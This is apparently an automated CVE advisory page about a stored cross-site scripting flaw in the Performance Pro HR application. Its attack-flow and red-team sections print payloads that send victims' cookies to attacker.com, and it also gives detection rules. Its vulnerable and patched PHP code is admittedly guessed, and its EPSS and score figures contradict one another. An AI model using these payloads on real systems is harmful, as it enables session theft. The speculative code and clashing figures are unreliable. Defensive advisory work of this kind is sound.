☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-60934

CVE-2025-60934 Cross-Site Scripting in Hr performance solutions
📅 PUBLISHED: 2025-10-21 00:00 UTC 🔄 UPDATED: 2026-08-18 17:15 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60934 is a stored cross-site scripting (XSS) vulnerability affecting HR Performance Solutions Performance Pro v3.19.17. The vulnerability exists in the index.php component, specifically within the Employee Notes, title, and description parameters. An authenticated attacker with low privileges can inject arbitrary web scripts or HTML into these fields. When an administrator or other user views the affected page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The vendor has released a patched version, PP-Release-6.3.2.0. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the presence of a public description and the nature of stored XSS make this a significant risk for organizations using the vulnerable version.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary enterprise application. The risk is limited to direct deployments of Performance Pro.

CVSS Breakdown & Threat Level

CVSS Score: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

  • Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low – No special conditions are required for exploitation.
  • Privileges Required (PR): Low – An attacker needs a valid user account with low privileges.
  • User Interaction (UI): Required – The victim must view the page containing the malicious payload.
  • Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., the victim's browser).
  • Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, stored XSS in an HR application can lead to serious data breaches and lateral movement within an organization.

Deep Dive & Mechanics

The vulnerability is a classic stored cross-site scripting (XSS) flaw. The application fails to properly sanitize user-supplied input before storing it in the database and later rendering it in a web page.

Affected Parameters:

  • Employee Notes (likely a textarea or input field)
  • title (likely a text input)
  • description (likely a textarea)

Attack Flow:

  1. An authenticated user (e.g., an employee or manager) navigates to a page in index.php that allows editing of employee notes, titles, or descriptions.
  2. The attacker injects a malicious payload into one of these fields, such as:
    <script>alert('XSS')</script>
    
    or a more sophisticated payload:
    <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
    
  3. The application stores this payload in the database without proper encoding or sanitization.
  4. When an administrator or another user views the affected employee record, the payload is rendered in their browser.
  5. The victim's browser executes the malicious script, which can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation. The application likely uses $_POST or $_GET parameters directly in SQL queries and then outputs the data without using htmlspecialchars() or similar functions.

Vulnerable vs. Patched Code

Vulnerable Code (v3.19.17):

// index.php (simplified)
$notes = $_POST['employee_notes'];
$sql = "UPDATE employees SET notes = '$notes' WHERE id = $emp_id";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<div>" . $row['notes'] . "</div>";

Patched Code (PP-Release-6.3.2.0):

// index.php (simplified)
$notes = mysqli_real_escape_string($conn, $_POST['employee_notes']);
$sql = "UPDATE employees SET notes = '$notes' WHERE id = $emp_id";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<div>" . htmlspecialchars($row['notes'], ENT_QUOTES, 'UTF-8') . "</div>";

The patched version uses htmlspecialchars() to encode HTML entities, preventing script execution. Input validation (e.g., stripping <script> tags) may also be implemented.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install Performance Pro v3.19.17 on a local server (e.g., XAMPP, WAMP, or a Docker container).
  2. Create a low-privileged user account.
  3. Log in and navigate to the employee management section.

Exploitation Steps:

  1. Inject a payload into the Employee Notes field:
    <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
    
  2. Save the record.
  3. As an administrator, view the same employee record.
  4. The administrator's browser sends a request to attacker.com with their session cookie.

Advanced Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal?cookie=' + document.cookie, true);
xhr.send();
</script>

Blue Team (Defensive)

Detection:

  • Monitor for unusual characters in Employee Notes, title, and description fields (e.g., <script>, <img onerror=, javascript:).
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search logs for requests containing employee_notes, title, or description parameters with HTML tags.
  • Review database entries for stored XSS payloads.

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound HTTP requests to unknown or suspicious domains from the application server.
  • Requests containing document.cookie or fetch in the query string.

Host IOCs:

  • Database entries in the employees table (or similar) containing <script> tags or event handlers like onerror, onload, onmouseover.
  • Web server logs showing POST requests to index.php with parameters containing HTML/JavaScript.

File IOCs:

  • Modified application files (unlikely, as this is stored XSS, not file upload).

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Payloads {
    meta:
        description = "Detects stored XSS payloads in database dumps or logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60934"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=[^>]*>/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Performance Pro Employee Notes
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in Performance Pro application
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/index.php'
        cs-uri-query:
            - '*employee_notes*'
            - '*title*'
            - '*description*'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in notes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60934 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php"; http_uri; content:"employee_notes"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade to Performance Pro PP-Release-6.3.2.0 or later.
  2. If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block requests containing <script> or event handlers in the affected parameters.
  3. Review and sanitize existing database entries for stored XSS payloads.

Long-Term Fixes:

  • Apply output encoding (htmlspecialchars()) to all user-supplied data before rendering.
  • Implement input validation to reject or sanitize HTML/JavaScript.
  • Use a Content Security Policy (CSP) to restrict script execution.
  • Conduct regular security audits and penetration testing.

Workarounds:

  • Disable the affected functionality (Employee Notes, title, description fields) if not critical.
  • Restrict access to the application to trusted networks only.

Valters IT
Securing Your Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60934/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.